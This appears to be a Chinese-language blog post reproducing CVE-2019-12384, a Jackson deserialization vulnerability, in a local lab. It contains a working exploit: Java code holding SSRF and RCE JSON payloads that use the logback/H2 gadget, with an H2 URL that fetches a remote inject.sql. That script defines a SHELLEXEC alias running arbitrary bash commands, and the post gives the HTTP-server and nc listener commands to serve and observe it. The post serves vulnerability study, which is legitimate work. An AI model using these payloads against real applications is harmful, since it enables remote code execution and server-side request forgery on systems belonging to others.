CVE-2019-12384:Jackson 反序列化漏洞复现

发布于 2024-11-19 07:21:29 字数 3902 浏览 13 评论 0

分析

根据 Jackson 开发者提到的信息,触发这个 Jackson 漏洞需要满足如下要求,所以该漏洞评级为中危:

  1. 目标应用接收到不可信客户端发送的 JSON 数据
  2. 目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性;
  3. 目标应用至少包含能够在 Java classpath 中利用的一个“gadget”类。在该漏洞中就是依赖的第三方 jar 包有点多,除去 jackson 自身的 jar 包以外还需要 logback-core 和 h2;

环境搭建

本文中用到的第三方库有:

  • jackson-databind 2.9.8
  • jackson-annotations-2.9.8.jar
  • jackson-core-2.9.8.jar
  • logback-core-1.3.0-alpha4.jar
  • h2 1.4.199

http://www.mvnrepository.com 上下载即可。

漏洞代码

package com.baiyang;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;

public class Main {

  public static void main(String[] args) {
    try {
      Class.forName("org.h2.Driver").newInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }


    System.out.println("Mapping");

    //该条 payload 用于 SSRF 的复现

    String SSRF = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:4444/~/hacker\"}]";

    //该条 payload 用于 RCE 的复现

    String RCE = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";

    ObjectMapper mapper = new ObjectMapper();

    mapper.enableDefaultTyping();

    mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

    System.out.println("Serializing");
    Object obj = null;
    try {
      //更换 SSRF 或 RCE 即可测试 SSRF 或者 RCE 漏洞的 payload
      obj = mapper.readValue(RCE, java.lang.Object.class);
    } catch(Exception e) {
      e.printStackTrace();
    }

    System.out.println("objectified");

    try {
      System.out.println("stringified: " + mapper.writeValueAsString(obj));
    } catch(Exception e) {
      e.printStackTrace();
    }

  }
}

构建步骤

本文在 IDEA 上生成项目

  1. 新建 java Commandline 项目
  2. 将上述代码替换类
  3. 单击红框中的图标,进入项目结构设置
  4. 按照下图的步骤将下载好的外部 jar 包导入项目文件

攻击流程

  1. 将下面的 sql 脚本文件保存为 inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')

:本文在 MacOS 下执行的 RCE,如在其它环境,请自行更换 CALL SHELLEXEC 中的命令。

  1. 执行本地执行 python2 -m SimpleHTTPServer 80,在本地启动 HTTP 服务

RCE payload 测试

将 java 文件中的 payload 更换为 RCE ,编译并运行 java 程序

SSRF payload 测试

  1. 执行 nc -l -vv 4444 ,便于观察 SSRF 的结果
  2. 将 java 文件中的 payload 更换为 SSRF ,编译并运行 java 程序

参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

手心的海

暂无简介

文章
评论
28 人气
更多

推荐作者

alipaysp_snBf0MSZIv

文章 0 评论 0

梦断已成空

文章 0 评论 0

瞎闹

文章 0 评论 0

寄意

文章 0 评论 0

似梦非梦

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文